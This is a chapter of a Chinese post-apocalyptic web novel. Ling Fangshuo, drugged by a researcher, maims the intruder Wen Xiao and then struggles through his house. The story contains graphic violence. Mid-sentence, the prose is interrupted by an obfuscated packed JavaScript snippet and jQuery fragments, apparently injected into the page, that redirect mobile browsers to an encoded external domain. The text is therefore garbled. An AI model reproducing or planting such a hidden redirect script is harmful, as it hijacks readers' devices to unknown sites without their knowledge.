冰冷的利刃阻挡了人影的贴近,淡淡的血腥气短暂掩盖住那能驱散凌方朔身体热度的清凉香气。
凌方朔手持匕首,刀刃横在被他逼至门后的女人脖颈处,因药物影响,他视线模糊,辨别两秒才认出眼前人身份,继而冷淡开口:“温晓小姐,你应该清楚,即使我此杀了你,也不用负任何责任。”
温晓,研究院研究员,同时也是宿云睿的女友。
而此时,这位凭一己之力将宿云睿勾到手让宿云睿背叛二十年兄弟感情的温小姐身着一件单衣,以撩人姿态登了凌方朔的堂入了凌方朔的室。
“是,凌先生,我很清楚。”温晓笑了笑,却并不害怕,她下巴微抬,仰视近在咫尺的男人,语气缓慢而轻说:“但是,为了人类的未来,必须有人牺牲。不是我,也会有其他唔……”话没说完,她就因颈间骤然袭来的巨痛瞳孔放大,漂亮的眼中满是震惊。
鲜红血液从温晓被划伤的口子里咕咕冒出,不过片刻就已染红了她半件衣服。
“你……怎么……”温晓完全没料到凌方朔会连话都没让她说完就下手,而且这一刀又准又狠直接深达她的颈动脉,鲜血喷射出时,染红了她的眼睛。
凌方朔又是一抬手,温晓眼前银光一闪,无尽的恐惧在这一刹那将她笼罩,那一刻,她只有一个念头——凌方朔是真的会杀了我。
头皮骤痛,温晓被他抓着头发毫不怜香惜玉地丢进了院子,几乎是在她摔到地上的那一刻,就有五六个人从院子外窜了进来,其中就有先前已经离开的宿云睿。
“晓晓!”宿云睿看见半身是血的温晓时大惊失色,快步走过去将她抱住,迅速检查她受伤部位后摸出一个金属盒子打开,拿出里面两支药剂迅速给她注射。
药并不是普通药,而是一区生命科学院所研究出的具有强修复的药剂,一针药剂下去,可见骨的外伤能在三分钟内愈合到只有留一道疤。当然,药效强也代表其价格非同寻常,普通人终其一生恐怕都赚不到买一支药剂的魔晶,即便是宿云睿,他多年积攒下的身家也只买得起三支,而温晓伤口长且深,一支药剂不足以让她伤势恢复,这一下就消耗掉宿云睿两支药剂。
两针下去,温晓脖颈的伤以肉眼可见的速度愈合,但她神色却未好看多少,反而在能说话后慌忙开口:“手、我的手……”
手?
手怎么了?
几人齐齐去查看她的手,一看之下,顿时神情骤变——她的左右两只手都断了,从手腕处看,两只手中间骨头不在,仅有皮肉相连。
“该死的,凌方朔你知不知道研究员最宝贵的就是手?”一人怒气喷张,脸和脖子红了大片,额上脖颈青筋毕露,看模样似是要将罪魁祸首生吞活剥,修复药剂能让外伤愈合,但骨骼筋脉想要恢复,则没那么容易。
凌方朔勾了勾唇角,讥讽十足,他缓缓道:“你们该庆幸,我没要她的命。”
从黑巫师到来并为世界带来灾难起,人类用二十多年的时间才让社会渐渐恢复秩序。华国将如今地域划分为九个大区,每区建立幸存者基地,凌方朔所在的青岚基地是第六区最大的基地,用人们的话说,是属于政府和军方双管辖的政权中心。
青岚基地的社会秩序已与灾难到来前相差不多,法律法规等都大多需要遵循,像是私闯宅邸,尤其是凌方朔这种有军功且对整个人类都做出巨大贡献的功臣,擅自闯入他家中他将人杀死不用负一点儿责任,相反,他还可以追究闯入者幕后指使着的责任。
但凌方朔心里清楚,即便他追究,温晓也会承担下所有后果。
既如此,杀温晓的意义并不大,但研究员双手宝贵,那么他就废掉温晓双手,身为马前卒,就要有承受比死亡更痛苦的觉悟。
“凌方朔,没人能一直护着你,总有一天,我会让你亲眼看着我将你活体解剖。”头发花白的男人走进凌方朔的院子,他脸色阴沉的可怕,看向凌方朔的眼神像是淬了毒。
这个男人叫臧兴瑞,也是研究院资历最深的研究员之一,当年母体胎儿基因改造项目由他一手主持,凌方朔在母体中便是由他做的基因植入。
凌方朔眸底闪过杀意,但是,这个人,他不能动。
“臧兴瑞,你敢不敢赌一次,赌……我在上你的手术台前,一定会先杀了你。”他嘴角牵起森冷的笑,受药物影响的双眼此时已经是血红一片,配上此刻的笑,让人不寒而栗。
臧兴瑞却是不为所动,甚至在端详他片刻后轻笑一声,而后饶有兴致说:“话不用说太满,你还是先活过今晚吧。”他说着,招手示意手下人带上温晓离开,刚转身又顿住,继续以那让人不悦的语调说:“忘了跟你说,我为这支药取名‘Heaven’,天堂,是我特意为你量身打造的天堂,它不是毒药,你的身体不会那么容易将它分解代谢。对了,顺便提醒一句,今天A1-A9区电路和水管检修,明天中午十二点恢复正常供电供水,希望你能活到那时候。”
A1-A9区是青岚基地权限最高舒适度最高的住宅区,凌方朔的住处在A5区。他垂在身侧的紧握,指骨间发出令人心颤的声响,足以说明他此刻心情的起伏不定。
宿云睿没有跟着一起走,他暂时留了下来,看着凌方朔那张即便因药物影响也遮掩不住铁青的脸色,踌躇片刻,终是道:“方朔,带着队伍离开青岚基地,离开第六区吧。”这样,你或许还能保住一命。
回应他的是凌方朔如同看死人的冰冷眼神,他心脏如被利箭穿透,非常、非常疼。
可是,他无法回头,也回不了头。
弯腰将一把车钥匙放在地上,他没再看凌方朔,只留下淡淡一句:“车还给你,若你还能坚持,就开车去有水的区……先活下来。”
凌方朔身上的药效之强,如果没有很好的抑制措施或发泄途径,那么他的身体机能会因持续高热彻底紊乱,致死也并非没有可能。
宿云睿头也不回地走了。
凌方朔目送他背影消失,这才缓慢地走下台阶,他捡起车钥匙,但没有去取车,而是在转身往屋内走时,徒手捏碎了那把钥匙。
一进屋,他身上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710481|173626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力气仿佛在这一瞬间被完全卸去,连站立都变得极为困难,他无力地坐倒在地,呼吸急促,喷洒出的气息前所未有的灼热,每一次呼吸,他都像是将一口岩浆吸入肺腑,继而活动于每寸血肉筋脉中。
凌方朔咬破舌尖,血腥气瞬间充斥口腔,但疼痛很快就消失……伤口已然愈合。
借着咬破舌尖产生的那点痛,凌方朔强逼自己清醒,他极费力地支撑起身体,扶着墙去到离得近的卫生间,意识不清醒导致他忘记臧兴瑞所说断电断水,他打开水龙头,但没一滴水流出。
“艹!”他怒骂一声,转身出了卫生间,拖着沉重的步伐踉跄往二楼走,楼上房间应该还有他储存的几瓶饮用水,饮水能够促进他身体代谢。
上楼是一个极为费力的过程,他的视野中一片模糊,尽管凭记忆能很快找到楼梯的方位,可他无法抬起腿,他的腿像是被灌入水银,沉重无比。
“咚——”他一头栽倒,磕在了楼梯上。
疼痛让他找回了几分理智,身体里也似生出一些力气,他便借着这股力四肢并用往上爬。
寻常三五步就能上到的二楼,今天却犹如一道天堑。
凌方朔没有放弃,过去二十四年的人生中,他无数次游走在死亡边缘,一次次踏进鬼门关,又一次次凭借超脱的精神和毅力回到人间,他那么努力地活着,就是想活着,凭什么要让一群不相干的人来糟蹋他的生命?
臧兴瑞、研究院……
仇恨激发了凌方朔身体中肌肉中蕴藏的力量,他一鼓作气上到二楼,咬着牙,不肯将这口气松掉。
水,水,水……
极致高温的身体让他迫切需要水来缓解,他如同一个醉酒的人,扶着栏杆跌跌撞撞走着,平常两秒就能到的卧室,今天却足足走了一分钟。
卧室门被打开时,一道刺目的光亮起,转瞬又消失,速度快到他以为是眼花。
若此时还是理智在线的凌方朔,必然会有所警惕,但被药物影响的他反应慢了许多,等反应过来卧室可能有埋伏时,他已经进了房间。
扶着墙踉跄走了几步后他脚步猛然顿住,迷蒙双眸中厉茫乍现——房间里还有人!
凌方朔再次拔-出挂在皮带上的匕首,抹过温晓脖子的匕首并未清洗,匕首刃上还残留着血液,而这一次,他不会再让这人活着离开。
“谁?”藏在房间里的人先开了口,声音很年轻,略微沙哑,同时还伴随一阵金属碰撞声,以及那一声“谁”后的又一声“艹”。
凌方朔脚步微微一滞,房间内光线昏暗,他视野也很模糊,看不清屋内此时情况,但隐约可以看见他床上有个人。
他没出声,那道声音却又说了话:“马竟成,你给我听好了,如果你今天敢动我一根手指,我绝对让你后悔出生在这个世界上。”恶狠狠的用词和语气,还夹杂着浓浓的厌恶。
凌方朔听完整句话后沉默许久,并不是他想沉默那么久,而是他此时大脑的运速过于缓慢。
良久,他才似是疑惑说出两个字:“男人?”